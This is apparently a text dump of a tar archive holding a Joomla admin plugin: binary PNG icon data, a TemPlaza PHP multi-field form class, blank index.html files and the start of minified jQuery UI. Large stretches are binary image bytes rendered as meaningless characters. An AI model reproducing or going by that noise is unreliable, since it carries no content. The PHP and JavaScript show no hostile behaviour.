uDU͕l ғޥߞk PHHC J~S@O ׋ѓy7k {25ofϫo{ '!'Z%q*)gC\#\'0P_WL7&AlJ\ Zp,YxjcO(6zIV u:גTDO9ׄQ<*y=2~/?Ｊ,WJQW>Wu?#G/4"K{㧏',Iҟ综E;|Rݠ~W7i86pxh8<4 r<}8 kGo;uCPv)A<$ց;{l   #`FC!f	Ӆ/`7(0R!99z@%!/m]Ad hvG3@pxh8<4{P/ 3@}	B&^16{. ߠaQo2lmt!\%@X?5ճa~ʠM65wka)TF_
2$x5_9!VxRd1!}'`$Uԇr?	Q
`7`.k_VzԄp]]GOLXCk3   %tEXtdate:create 2015-03-11T08:47:11-07:00=l   %tEXtdate:modify 2015-03-11T07:59:35-07:00=   tEXtSoftware Adobe ImageReadyqe<    IENDB`                                                                                                                                                                                                                                                      system/tpl_profiler_params/admin/css/images/ui-icons_ffffff_256x240.png                             0000705                 00000014233 15242051521 0022030 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       PNG

   IHDR         Er@   bKGD ̿   	pHYs   H   H Fk>  IDATx]]%uzfV^;lY03&)]P'M@+ȋa k`J!&~H2ք F?!0_&`>u޹?U_3sSu|U]:!D@t	8"t@M;ǉH =&Omk3FB8F;@*	cOy=kWڅە 3ANI*vP-ast$Hp  	As21E,ځԪGE'ihe]iSǼjvqP r/Y	e-ڦt	R5wgfI;&ImJmqkۦw4BsȠWM	&_
/1n;z_$	8H` # pDH	8| 3h2oF)e>}Hl>LBV-}uҾo|ڵ/l|"o]}HSwǗAs!803@j~yӇ4h>@")J_9]L;ǌq (pDH	8"G$@'MqXi}"03]AS(~	 @@-$M6W3'79+OqOh\O<
`xTOHp/dg4
"GlՈ f+)CO'u*c'TMKh^< uWhzHʇڸq풁|	vAM1|B2t3XbhWrsnZLwpO~8 pđ	8"G$@ # pCR~OxDsM*|{oWC;]Հl5)^^ # šNv97>
tmaϿ_k{bW%p@ݖC>۩`ͤqǽ;~>iCZX^[HfalsX'0M	_I~9'}~{.@6 2,hPU@U൓)UCH
  _\f.*@/gN*C-{g7H4ɼkor ?_59]bU/_kp)m/qToLZ8D88"G$@ #`ܘ*s>ʧ轎I{`>@1%,<vL躸J^8l/i 5[~냍voh$+vby;ţ%/鱀M:Uեͤ帧M0 gt+g*ln4[H@oBB2,p̨z Q&k7	]҃=ɅO+R{1~	8(3uYMq QTU_]컋!R5D	5$k,7k퍦M$ AgƸ>`35"G
 # pDH1{Hg[0	˖\6%Hqx,Oaflxt!
b[WX7wN yZ.ZuCTkqh_|kj~Q@n2=A6-kϺ"-RgZPv	\͹8f/-Kp[΃:%,AL&S&D'Ms>A'FUf`JvQ8]6" ?_޽C$n\Ba#¬#,5D3fq # p,'?'޷:0+n֚^vx] f45b{=6v=NWxG8£K3kt͒]	<gr
4IE:?$X*?j^{vGO&zܭ-:-	5QTC5Ķw X&sƗq@;`e,#巣&!=dKdaOKa[J lr7WrЌx@z>-F⛛./復 Ou{ ~#qRyB+xۂJP1
!%3/` >\^dG/N-^ZvP#Y"h o \[LugHz~]()`+8PS~3OY(( My~;HĻ} x92SwG
9M\f/A   1n~p
SN< p-@o.-t>0-[\_g@6 nYNa	.B|9>  .N&hD[/3 oL59G0>*Z;"x}.QٟJ|LQG5c̍	>Iէ-}{s=5}	_<Գ{ɂ WZgԔ5~ c|-	8"G$@X,WE	Zm}p-oCCmȹA'[69 ~
ӎP#0*)uQDvi)FF4dAntÐ˞lO6;R,:ElPǔK:Dۄt).kL9AOqrџWԧlJߢ\&;߈2AK9DiZyQ#5۬|{MHD#JD\8)ju 9|1~=O=\Vn~'/PX(,u'0M PŃmq |	J~yL1ާ{  W/?o	]}u ܙF&*S\=u3~Nz ߤYq6DR_/MwElJCǯq!Lw]*ԐjΛ
O]DCBɡB&@_fd]zva{!_nmSQnoMkn[qP3<oUeT0E	b'`">.)#{>oCz!U&6~߃JeتI]Ӻe9Qa.%sj=;x{Ǆ y:8"G$@ sɠ|6zCm79V	^Vzk}4*HAɿ6ZtF..2>Ot-fV;W_ٞ,O	>Z|ya~萻Bki#@u"ڥ!*7!f3DckTɰCk.sPש;C<}Ra0L;7Lw5@6JCDV#N XFa곮8y>B	%:dH Ar'@+2oH:͢ Ӻ]r8C`W;E rV۸ruEP;3*'JcIzkRl	`OW*}Cc	  |NY+UOr1\LSZ5):aPlNw"Cهf9K`>3Jghe|7IqN[ʥ^c7Mq=M*3+1qKʯ3!  Kf6|#y>_&lʶ&1_ TjW`iHCڥټ	,Z7֟Ԫl;w*QwyFϜhc14R6i6h~	P6S]*r3pC۴NB;G~gj!|h<W;B V8-GdzͳS:[R*n'Zg']?dm1)2j2Fw?tfkڛ\H$=@$@! pD C~q%n1Onm拵/Na/c>ϔ}vQ{z,pQGD{~9 )ߛzn&@T>5 1
偠0I˫\!\rrh3> ]Y7PtӴDO[5nA	]alT2A_&\An4'':aOHc	0 	w޺{Gg3/R1T0+ޔ 0Rm柅`o*~_g	uFjǟ=sxpE)VU9vuZO=j<_>o5@HPGx#;I0Q #zG$@ # pDZK*6Aa\n6v[K(Ѯ0zLI/jnЮ|y.4qEصẄ́xjq
{Y >.]!a[!i.d&~RJ4`&@Sۥsy7wphq=le<Q^w-4<X$o@|:PA;xIl_/O.gs41`bY:q$0pDH	8"I R^, *Vgqֲ~6tt"KHqXnY#oqB	sxa>fyy_Eŵ^ըwXQ"tloޡs9eSR~ڥ|;i6\/$ʗʿ    x8_t+xp+ި$@<K/:}Wk~|)q_y=l`E	@C
[ɔT_߭a;iyyWKբd}7<fø7,6p`ܢj_5k_
|}# pDHQ>'q_Ǔ.t-o\} ]m&-t-o}dC>rFO|Ӗw8KCH7<n~0g[I\\W<H\oѠKs)	~nj̨oR kkg7ƲHM%.z\ry&VVet<N8Q?B g C]FC|Oq]n?df`ܗ[h	WЮ ʖ㸧=@v*+{&ɟp7ou%1g_W.9D9X}Um(O)xc fQw& I^*NOւv_[31i7my#N	8"G$@ # pΠQǬ#Z@.ߎ]3%鎜ܤ&\<(_Ƒ2:%GX``eQ~e yD";3ꗀZزnEIjag]8@P # pDH1q@'@q6B>V'J 	M֝`\W#|{ B̪$y4,}F>nk-PWEAtH=jiY'W;S'QOQL7DO=@w=KFR?ЛΕN8#(p̯/ b,?Pw   %tEXtdate:create 2015-03-11T08:47:11-07:00=l   %tEXtdate:modify 2015-03-11T07:59:35-07:00=   tEXtSoftware Adobe ImageReadyqe<    IENDB`                                                                                                                                                                                                                                                                                                                                                                     system/tpl_profiler_params/admin/css/images/ui-bg_diagonals-thick_20_666666_40x40.png               0000705                 00000000470 15242051521 0024112 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       PNG

   IHDR   (   (    ;   bKGD1   	pHYs   H   H Fk>   zIDATH EQM6jE2bݝ!K2g}/\)W@ -@3K,7:ׁ@k U
HrdsMu ESt.s/rڧ+   %tEXtdate:create 2015-03-11T08:49:35-07:00:   %tEXtdate:modify 2015-03-11T08:49:35-07:00Kô    IENDB`                                                                                                                                                                                                        system/tpl_profiler_params/admin/css/images/ui-bg_highlight-soft_100_eeeeee_1x100.png               0000705                 00000000426 15242051521 0024475 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       PNG

   IHDR      d    2   bKGD1   	pHYs   H   H Fk>   XIDAT½@@ я4tU3#U9-xy<'+w-n[bfL1&T<2GR.   %tEXtdate:create 2015-03-11T08:49:34-07:00   %tEXtdate:modify 2015-03-11T08:49:34-07:00    IENDB`                                                                                                                                                                                                                                          system/tpl_profiler_params/admin/css/images/ui-bg_gloss-wave_35_f6a828_500x100.png                  0000705                 00000013267 15242051521 0023447 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       PNG

   IHDR     d   5i   bKGD	X   	pHYs   H   H Fk>  IDATx_gULTT,`JI<Tй<VZ|De`$gp
&%|˽36'P0{|83wܜk}ɜoww     6u;      7;    `    0ظ    L 6     ;    `    0ظ    L 6     ;    `    0ظ    L 6     ;    `    0ظ    L 6     feworEjc^bپ:nPFyyu-dߛ͕^Z3WɬMfS9yk9u[z_ł7s_\+%sA_mxEa/k}X@y}#{c*?6?~}?3T     X	We~ؽM')k(Ur%	y_Mm^evVrfWCXZuXbme3/y:Q.߶S7GuUTӪdvx#^yx-G׻׾UA&     h<,ކt     H2     ;    a5vwȝq=Gz[vnWJi]YWRɑ^T}R֔:Q|RRo%͠YV+sj
=UnJU)kR-ՕFW޵N==Xj%o5F֫x,˕d6/ƔJ.^߾USaڵe+1cm)^q)S:ڤS<FW΅dj\(i<eGɑ2t>-,㭓Wz5WE3HG)veZQ{múIf^yƥ֭ٹw>%:%:3Hϸ*y{ERq    Se     &     L 6     `aU    fy	     ^     Sefa;Oz}׵SˇU2f[nqw߁
IYV
RWƱB-Uf'%S6WʎnspOل'ׂrҳ\˷v5S[nS~53|w9     eY\9pea'z{{,;:݂QyFGlҧ<<;z/EX%vT{œڦbѵ<*Y|+uuKհz"75n޺e^+*)sS
-<-ך)ޖy
xuVYW>ςmYΦwס k|i     X!|
    0 Sǽq{C˒S|gg?&S>0PtfMEΠRvt[z]4]me*բ%/wayc)
ͻWy);C>~,^+uK_ymg[%+73U,גqjV˰v?0ǿ?Ӧ6㟕޻%}7A>l*ǿ>,&Be^jixklM*}شe\sͼ*Mcϗ<yq]߸    {6qKBݼQRRQ{.ADQқk=w^tl*\ϠzUm֪LZK֫R^^^ޕJA]|e]xgkYNyk8tq~*j]WMn!eӛA=ޒo<<{2W,lӡ΀mMoNl3UO}q_otWu2zyfL)LX^W2)jX[+k=[+\[[OxןWFiJ+m+5E樓^굡oykWsIZ(]Oʛy9-ػ?yѝT     q     `',v2wsSnܓlSRѪ.%ZjnTKy%^o\yJtֳB͔oފ]͚o+1z=V؎Ru+YJu}9dk9ϫ^R5\t>'z%wbǔ%3´|Kޭ;aGgUvS$w^?^z(fᵜꫫ蟧dyf㾺%Qm|Gɋ׾]jg[]1aG3vZѥtսg{ҳkWc,+ת[U爒Me%|*ϝZ+F~=EyD4p     6y=~/~~pݢD|??.{W4][f
:'继S	  `tOYp'|?zG"k3÷'2׿v vlq6'3݅[p?z0랾I{fτG³6wvol lx{p2 Lwמ?
bOnT~4-m.|,\7
 	ép:=;ݓsSݝ፭~[Hlt7c]ݍ?սug=.;`  hKW~O  ,l}ͩӍ㾭_;4f\a  _Z>>o{z{yoL,^x/zbxBnW>Xw  0qntφ{m7óݧ˳p{w&\
<rp{wX's[O_{I	 >߱|!\N_?аpbB
_/-;5J0iG+ſX   ^C:=ץ?xp".t-G|f/9|>{뼣@	t،F/W}aKz{8}Ob|yvUKz)00;[Kʯ2|-iꛚJ?SsmӪBGѼEُLcZRK]l}}[&^Sa',~-?/_`e OãqyհfbiXbEZl4dſn    s    & w    	0˰?w     >    &<|2SG6x,w,)u=)]o;F)\@?mQϵk3(}֌>䭐Ʋӽݴ5'E,Ԋ&^5άueFd|5G|lW)y}t_x0     ^          H~     4f    3WSe     `q*    e    `ÙeT    ͆S    &@e_N'ۤ*x-}R*SؚԭqVR+^UJ"euJfzlz}G37^^5[relѕLzz#zJEyV<ک]Z<O-O=Z    N         0as    ë2     `',v6z)c.x*9ҟZ>>zWJR]t=?	d2G+-ݾ^>mkLYЂJSlz+Qfwezt˰v3/ٯ~g        LyX}6     <,     l6é2    vòU    2'U3tujJj|%u7MYU[Q+j(
lyMϣRy}mUXlFW
%>}E<V&gܻcb][rkyzr)yuIW)D$͔}czTK=ާ@>D֋fRZR{"x#[gGg3kPuN#?ۏ+w^q2=Q%tb}(lJ꠫Z^e?6llyU(Q(ӕO;_%/j]8޼uF^5fKE$sM;QuЭzv{hGuȦn~oY؞kmp+ަ{-ގ-t˶}2azS~֚v{G[b!/׵"^/k-*Į:GOd[{K(R}o5zs7u>]+*ܫVU	%9b?Rf     `%̯>[f[<F7ܪ2|+YKl&RϔڲNޟSa'\J]ۙڤ*cqOoI.tXR)TC(ʈ6z,v*֫[:Inxk>%w̋W<v.=kizfPvs+#=.oysd'[w>J$ֻ\oܗ^f]nJ|7ؾ}65J|7%5>Em_=eV /)m۵dgSWWNBʪ	zYcX˫.}(Z>tUKfJz+dPS'ZڊyOXj=JW~i     f<&uXRkƭE;7S刺v>xS*kGQJ"ڜo7AZ|צŨyn[j`-#GOp:X(T1%ǁU0} <OdK׶1&[7zԊ1%+1Wg{֔Cl[譺Cy*7忽2+UTҏS̛Q+C$#ywKæS͑Z̎Z>U=)zNz,˰vϞw     Vȼ^-mqJݯMmq:E7J-NQSjN𰕬unIzEf7oŶ^e5{׸~u+YJu}9dk9ϫ%g(g(}
ObN(Z
wMɌ0w_:_˰v,l˿׾p}`|7u]<g!F5=n.uWDG-&>WJ[ɔe%hT>Cˣn珒}ExgJUFT7Fj*تz[oFVZsDNI~ujEn<c򞹵fW2n}le     +a޿{GW?n7     <a`c_   %tEXtdate:create 2015-03-11T08:49:35-07:00:   %tEXtdate:modify 2015-03-11T08:49:35-07:00Kô    IENDB`                                                                                                                                                                                                                                                                                                                                         system/tpl_profiler_params/admin/css/images/ui-bg_highlight-soft_75_ffe45c_1x100.png                0000705                 00000000510 15242051521 0024261 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       PNG

   IHDR      d   t   bKGD	X   	pHYs   H   H Fk>   IDAT(1
PDSZ6M!rKJFf,>Ao`x;,,cs p>҇uQ`߯i%S)~ζrV
=O･ pl:]ZO?q|   %tEXtdate:create 2015-03-11T08:49:35-07:00:   %tEXtdate:modify 2015-03-11T08:49:35-07:00Kô    IENDB`                                                                                                                                                                                        system/tpl_profiler_params/admin/css/images/ui-bg_glass_65_ffffff_1x400.png                         0000705                 00000000317 15242051521 0022630 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       PNG

   IHDR         G#7v   bKGD ݊   	pHYs   H   H Fk>   IDAT(ch`p h4i   %tEXtdate:create 2015-03-11T08:49:34-07:00   %tEXtdate:modify 2015-03-11T08:49:34-07:00    IENDB`                                                                                                                                                                                                                                                                                                                 system/tpl_profiler_params/admin/css/images/ui-bg_glass_100_f6f6f6_1x400.png                        0000705                 00000000406 15242051521 0022455 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       PNG

   IHDR         D   bKGD1   	pHYs   H   H Fk>   HIDAT8c5a"oK1|a~Ï?~Ne%7\(1d4F1 G#NP   %tEXtdate:create 2015-03-11T08:49:34-07:00   %tEXtdate:modify 2015-03-11T08:49:34-07:00    IENDB`                                                                                                                                                                                                                                                          system/tpl_profiler_params/admin/css/images/ui-bg_flat_10_000000_40x100.png                         0000705                 00000000315 15242051521 0022005 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       PNG

   IHDR   (   d    O   bKGD ݊   	pHYs   H   H Fk>   IDAT(c`  X u6w   %tEXtdate:create 2015-03-11T08:49:35-07:00:   %tEXtdate:modify 2015-03-11T08:49:35-07:00Kô    IENDB`                                                                                                                                                                                                                                                                                                                   system/tpl_profiler_params/admin/css/images/ui-bg_glass_100_fdf5ce_1x400.png                        0000705                 00000000534 15242051521 0022610 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       PNG

   IHDR        A   bKGD	X   	pHYs   H   H Fk>   IDATH?H&](v_W`5_YmFѤt?˧;=eY<#  aƷAY&IRɆh`5`u8FD[9tF'pe ͞zΧ=W]{EpK:_0~2UE\   %tEXtdate:create 2015-03-11T08:49:35-07:00:   %tEXtdate:modify 2015-03-11T08:49:35-07:00Kô    IENDB`                                                                                                                                                                    system/tpl_profiler_params/admin/fields/tzmultifield.php                                            0000705                 00000031500 15242051521 0017711 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/*------------------------------------------------------------------------

# TZ Extension

# ------------------------------------------------------------------------

# author    DuongTVTemPlaza

# copyright Copyright (C) 2012 templaza.com. All Rights Reserved.

# @license - http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL

# Websites: http://www.templaza.com

# Technical Support:  Forum - http://templaza.com/Forum

-------------------------------------------------------------------------*/

// no direct access

defined('JPATH_BASE') or die;

JFormHelper::loadFieldClass('list');

class JFormFieldTzMultiField extends JFormField
{
    protected $type         = 'TzMultiField';
    protected $prefix       = 'tzform';
    protected $text_prefix  = 'PLG_SYSTEM_TZ_TEMPLAZA_MENU_PARAMS';
    protected $module       = 'tz_templaza_menu_params';
    protected $head         = false;
    protected $multiple     = true;

    protected function getName($fieldName)
    {
        return parent::getName($fieldName);
    }

    protected function getInput()
    {
        $value  = $this -> value;
        if(is_string($value)){
            if(!preg_match('/(\{.*?\})/msi',$value)){
                $services   = base64_decode($value);
                if(preg_match_all('/(\{.*?\})/msi',$services,$match)){
                    if(count($match[1])){
                        $this -> setValue($match[1]);
                    }
                }
            }
        }else{
            if(!is_array($this -> value) && preg_match_all('/(\{.*?\})/',$this -> value,$match)) {
                $this -> setValue($match[1]);
            }
        }
        $doc    = JFactory::getDocument();
        if(!$this -> head) {
            $doc->addScript(JUri::root(true) . '/plugins/system/'.$this -> module.'/admin/js/jquery-ui.min.js');
            $doc->addScript(JUri::root(true) . '/plugins/system/'.$this -> module.'/admin/js/tzmultifield.js');
            $doc->addStyleSheet(JUri::root(true) . '/plugins/system/'.$this -> module.'/admin/css/jquery-ui.min.css');
            $doc->addStyleDeclaration('.tzmultifield__table .ui-sortable-helper{
                background: #fff;
            }');
            $this -> head   = true;
        }
        $id                 = $this -> id;
        $element            = $this -> element;
        $this -> __set('multiple','true');

        // Initialize some field attributes.
        $class = !empty($this->class) ? ' class="' . $this->class . '"' : '';
        $disabled = $this->disabled ? ' disabled' : '';

        // Initialize JavaScript field attributes.
        $onchange = $this->onchange ? ' onchange="' . $this->onchange . '"' : '';

        // Get children fields from xml file
        $tzfields = $element->children();
        // Get field with tzfield tags
        $xml                = array();
        $html               = array();
        $thead              = array();
        $tbody_col_require  = array();
        $tbody_row_id       = array();
        $tbody_row_html     = array();
        $tzform_control_id  = array();
        $form_control       = array();

        $tbody_row_html[]   = '<td style="width: 3%; text-align: center;">'
            .'<span class="icon-move hasTooltip" title="'.JText::_($this -> text_prefix.'_MOVE').'"
             style="cursor: move;"></span></td>';

        ob_start();
?>
        <div id="<?php echo $id;?>">
        <div class="control-group">
            <button type="button" class="btn btn-success tz_btn-add">
                <span class="icon-plus icon-white" title="<?php echo JText::_($this -> text_prefix.'_UPDATE');?>"></span>
                <?php echo JText::_($this -> text_prefix.'_UPDATE');?>
            </button>
            <button type="button" class="btn tz_btn-reset">
                <span class="icon-cancel" title="<?php echo JText::_($this -> text_prefix.'_RESET');?>"></span>
                <?php echo JText::_($this -> text_prefix.'_RESET');?>
            </button>
        </div>
        <?php

        // Generate children fields from xml file
        if ($tzfields) {
            $i  = 0;
            foreach ($tzfields as $xmlElement) {
                $type = $xmlElement['type'];
                if (!$type) {
                    $type = 'text';
                }
                $tz_class   = 'JFormField'.ucfirst($type);

                if(!class_exists($tz_class)) {
                    JLoader::register($tz_class,JPATH_LIBRARIES.DIRECTORY_SEPARATOR.'joomla'
                        .DIRECTORY_SEPARATOR.'form'
                    .DIRECTORY_SEPARATOR.'fields'.DIRECTORY_SEPARATOR.$type.'.php');
                }

                // Check formfield class of children field
                if(class_exists($tz_class)) {

                    // Create formfield class of children field
                    $tz_class = new $tz_class();
                    $tz_class -> setForm($this -> form);
                    $tz_class->formControl = $this -> prefix;
                    // Init children field for children class
                    $tz_class -> setup($xmlElement, '');
                    $tz_class -> value      = $xmlElement['default'];
                    $tz_name                = (string)$xmlElement['name'];
                    $tz_tbl_require         = (bool)$xmlElement['table_required'];

                    $tzform_control_id[$i]                      = array();
                    $tzform_control_id[$i]["id"]                = $tz_class -> id;
                    $tzform_control_id[$i]["type"]              = $tz_class -> type;
                    $tzform_control_id[$i]["fieldname"]         = $tz_class -> fieldname;
                    $tzform_control_id[$i]["table_required"]    = 0;
                    $tzform_control_id[$i]["name"]              = $tz_class -> name;
                    $tzform_control_id[$i]["default"]           = $tz_class ->default;
                    $tzform_control_id[$i]["field_required"]    = (bool)$xmlElement['field_required'];
                    $tzform_control_id[$i]["value_validate"]    = (string)$xmlElement['value_validate'];
                    $tzform_control_id[$i]["label"]             = $tz_class -> getTitle();

                    if(isset($xmlElement['showon']) && $xmlElement['showon']){
                        $showon = (string) $xmlElement['showon'];
                        $parse  = JFormHelper::parseShowOnConditions($showon, $this -> prefix);
                        $tzform_control_id[$i]['showon']    = $parse[0]['field'];
                    }

                    // Create table's head column (check attribute table_required of children field from xml file)
                    if ($tz_tbl_require) {
                        $tbody_row_id[]                             = $tz_class -> id;
                        $tbody_col_require[]                        = $tz_class -> fieldname;
                        $tzform_control_id[$i]["table_required"]    = 1;

                        ob_start();
                        ?>
                        <th><?php echo $tz_class -> getTitle(); ?></th>
                        <?php
                        $thead[] = ob_get_clean();
                        ob_start();
                        ?>
                        <td>{<?php echo $tz_class -> id;?>}</td>
                    <?php
                        $tbody_row_html[]   = ob_get_clean();
                    }
                    ob_start();
                    // Generate children field from xml file
                    echo $tz_class -> renderField();
                    ?>
                    <?php
                    $form_control[] = ob_get_clean();
                }
                $i++;
            }
        }
        // Generate table
        if(count($thead)) {
            ?>
            <table class="table table-striped tzmultifield__table">
                <thead>
                <tr>
                    <th style="width: 3%; text-align: center;">#</th>
                    <?php echo implode("\n", $thead); ?>
                    <th style="width: 10%; text-align: center;">Status</th>
                </tr>
                </thead>
                <tbody>
                <?php
                if($values = $this -> value){
                    if(count($values)){
                    foreach($values as $value){
                        $j_value    = json_decode($value);
                ?>
                    <tr>
                        <td style="width: 3%; text-align: center;"><span class="icon-move hasTooltip" style="cursor: move;"
                                  title="<?php echo JText::_($this -> text_prefix.'_MOVE')?>"></span></td>
                        <?php
                        if($j_value && !empty($j_value)) {
                            foreach ($j_value as $key => $_j_value) {
                                if(in_array($key,$tbody_col_require)){

                        ?>
                            <td><?php echo $_j_value ?></td>
                        <?php } }
                        }
                        ?>
                        <td style="width: 3%; text-align: center;">
                            <div class="btn-group">
                                <button class="btn btn-small tz_btn-edit hasTooltip"
                                        type="button" title="<?php echo JText::_('JACTION_EDIT');?>"><i class="icon-edit"></i></button>
                                <button class="btn btn-danger btn-small tz_btn-remove hasTooltip"
                                        type="button" title="<?php echo JText::_($this -> text_prefix.'_REMOVE');?>"><i class="icon-trash"></i></button>
                            </div>
                            <input type="hidden" name="<?php echo $this -> getName($this -> fieldname);?>"
                                   value="<?php echo htmlspecialchars( $value);?>" <?php echo $class . $disabled . $onchange?>/>
                            <?php ?>
                        </td>
                    </tr>
                <?php } } }?>
                </tbody>
            </table>
            <?php
        }

        echo implode("\n",$form_control);

        $tbody_row_html[]   = '<td style="width: 3%; text-align: center;">'
            .'<div class="btn-group">'
            .'<button type="button" class="btn btn-small tz_btn-edit hasTooltip" title="'
            .JText::_('JACTION_EDIT').'"><i class="icon-edit"></i></button>'
            .'<button type="button" class="btn btn-danger btn-small tz_btn-remove hasTooltip" title="'
            .JText::_($this -> text_prefix.'_REMOVE').'">'
            .'<i class="icon-trash"></i></button>'
            .'</div>'
            .'<input type="hidden" name="' . $this -> getName($this -> fieldname) . '" value="{'.
            $this -> id.'}"' . $class . $disabled . $onchange . ' />'
            .'</td>';

        $config = JFactory::getConfig();

        $tbody_row_html = '<tr>'.implode('',$tbody_row_html).'</tr>';

        $doc -> addScriptDeclaration('
            (function($){
                $(document).ready(function(){
                    $("#'.$this -> id.'").mtzmultifield({
                        parentFieldId: "'.$this -> id.'",
                        fields: '.json_encode($tzform_control_id ).',
                        fieldName: "'.$this -> jsmTzMultifieldAddSlashes($this -> getName($this -> fieldname)).'",
                        tbodyHtml: "'.$this -> jsmTzMultifieldAddSlashes(trim($tbody_row_html)).'"
                        ,eMessages: {
                            invalidField: "'.JText::_($this -> text_prefix.'_INVALID_FIELD').'",
                            failOfField: "'.JText::_($this -> text_prefix.'_FAIL_OF_FIELD').'",
                            failToValue: "'.JText::_($this -> text_prefix.'_FAIL_VALUE').'",
                            removeItem: "'.JText::_($this -> text_prefix.'_DELETE_QUESTION').'"
                        }
                    });
                });
            })(jQuery);
        ');
        ?>
        </div>
        <?php
        $html[] = ob_get_contents();
        ob_end_clean();

        return implode("\n",$html);
    }
    protected function jsmTzMultifieldAddSlashes($s)
    {
        $o="";
        $l=strlen($s);
        for($i=0;$i<$l;$i++)
        {
            $c=$s[$i];
            switch($c)
            {
                case '<': $o.='\\x3C'; break;
                case '>': $o.='\\x3E'; break;
                case '\'': $o.='\\\''; break;
                case '\\': $o.='\\\\'; break;
                case '"':  $o.='\\"'; break;
                case "\n": $o.='\\n'; break;
                case "\r": $o.='\\r'; break;
                default:
                    $o.=$c;
            }
        }
        return $o;
    }

}                                                                                                                                                                                                system/tpl_profiler_params/admin/fields/index.html                                                  0000705                 00000000037 15242051521 0016462 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <!DOCTYPE html><title></title>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 system/tpl_profiler_params/admin/js/index.html                                                      0000705                 00000000037 15242051521 0015630 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <!DOCTYPE html><title></title>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 system/tpl_profiler_params/admin/js/jquery-ui.min.js                                                0000705                 00000341133 15242051521 0016712 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       /*! jQuery UI - v1.11.4 - 2015-08-21
* http://jqueryui.com
* Includes: core.js, widget.js, mouse.js, position.js, draggable.js, droppable.js, resizable.js, selectable.js, sortable.js, effect.js, effect-blind.js, effect-bounce.js, effect-clip.js, effect-drop.js, effect-explode.js, effect-fade.js, effect-fold.js, effect-highlight.js, effect-puff.js, effect-pulsate.js, effect-scale.js, effect-shake.js, effect-size.js, effect-slide.js, effect-transfer.js
* Copyright 2015 jQuery Foundation and other contributors; Licensed MIT */

(function(e){"function"==typeof define&&define.amd?define(["jquery"],e):e(jQuery)})(function(e){function t(t,s){var n,a,o,r=t.nodeName.toLowerCase();return"area"===r?(n=t.parentNode,a=n.name,t.href&&a&&"map"===n.nodeName.toLowerCase()?(o=e("img[usemap='#"+a+"']")[0],!!o&&i(o)):!1):(/^(input|select|textarea|button|object)$/.test(r)?!t.disabled:"a"===r?t.href||s:s)&&i(t)}function i(t){return e.expr.filters.visible(t)&&!e(t).parents().addBack().filter(function(){return"hidden"===e.css(this,"visibility")}).length}e.ui=e.ui||{},e.extend(e.ui,{version:"1.11.4",keyCode:{BACKSPACE:8,COMMA:188,DELETE:46,DOWN:40,END:35,ENTER:13,ESCAPE:27,HOME:36,LEFT:37,PAGE_DOWN:34,PAGE_UP:33,PERIOD:190,RIGHT:39,SPACE:32,TAB:9,UP:38}}),e.fn.extend({scrollParent:function(t){var i=this.css("position"),s="absolute"===i,n=t?/(auto|scroll|hidden)/:/(auto|scroll)/,a=this.parents().filter(function(){var t=e(this);return s&&"static"===t.css("position")?!1:n.test(t.css("overflow")+t.css("overflow-y")+t.css("overflow-x"))}).eq(0);return"fixed"!==i&&a.length?a:e(this[0].ownerDocument||document)},uniqueId:function(){var e=0;return function(){return this.each(function(){this.id||(this.id="ui-id-"+ ++e)})}}(),removeUniqueId:function(){return this.each(function(){/^ui-id-\d+$/.test(this.id)&&e(this).removeAttr("id")})}}),e.extend(e.expr[":"],{data:e.expr.createPseudo?e.expr.createPseudo(function(t){return function(i){return!!e.data(i,t)}}):function(t,i,s){return!!e.data(t,s[3])},focusable:function(i){return t(i,!isNaN(e.attr(i,"tabindex")))},tabbable:function(i){var s=e.attr(i,"tabindex"),n=isNaN(s);return(n||s>=0)&&t(i,!n)}}),e("<a>").outerWidth(1).jquery||e.each(["Width","Height"],function(t,i){function s(t,i,s,a){return e.each(n,function(){i-=parseFloat(e.css(t,"padding"+this))||0,s&&(i-=parseFloat(e.css(t,"border"+this+"Width"))||0),a&&(i-=parseFloat(e.css(t,"margin"+this))||0)}),i}var n="Width"===i?["Left","Right"]:["Top","Bottom"],a=i.toLowerCase(),o={innerWidth:e.fn.innerWidth,innerHeight:e.fn.innerHeight,outerWidth:e.fn.outerWidth,outerHeight:e.fn.outerHeight};e.fn["inner"+i]=function(t){return void 0===t?o["inner"+i].call(this):this.each(function(){e(this).css(a,s(this,t)+"px")})},e.fn["outer"+i]=function(t,n){return"number"!=typeof t?o["outer"+i].call(this,t):this.each(function(){e(this).css(a,s(this,t,!0,n)+"px")})}}),e.fn.addBack||(e.fn.addBack=function(e){return this.add(null==e?this.prevObject:this.prevObject.filter(e))}),e("<a>").data("a-b","a").removeData("a-b").data("a-b")&&(e.fn.removeData=function(t){return function(i){return arguments.length?t.call(this,e.camelCase(i)):t.call(this)}}(e.fn.removeData)),e.ui.ie=!!/msie [\w.]+/.exec(navigator.userAgent.toLowerCase()),e.fn.extend({focus:function(t){return function(i,s){return"number"==typeof i?this.each(function(){var t=this;setTimeout(function(){e(t).focus(),s&&s.call(t)},i)}):t.apply(this,arguments)}}(e.fn.focus),disableSelection:function(){var e="onselectstart"in document.createElement("div")?"selectstart":"mousedown";return function(){return this.bind(e+".ui-disableSelection",function(e){e.preventDefault()})}}(),enableSelection:function(){return this.unbind(".ui-disableSelection")},zIndex:function(t){if(void 0!==t)return this.css("zIndex",t);if(this.length)for(var i,s,n=e(this[0]);n.length&&n[0]!==document;){if(i=n.css("position"),("absolute"===i||"relative"===i||"fixed"===i)&&(s=parseInt(n.css("zIndex"),10),!isNaN(s)&&0!==s))return s;n=n.parent()}return 0}}),e.ui.plugin={add:function(t,i,s){var n,a=e.ui[t].prototype;for(n in s)a.plugins[n]=a.plugins[n]||[],a.plugins[n].push([i,s[n]])},call:function(e,t,i,s){var 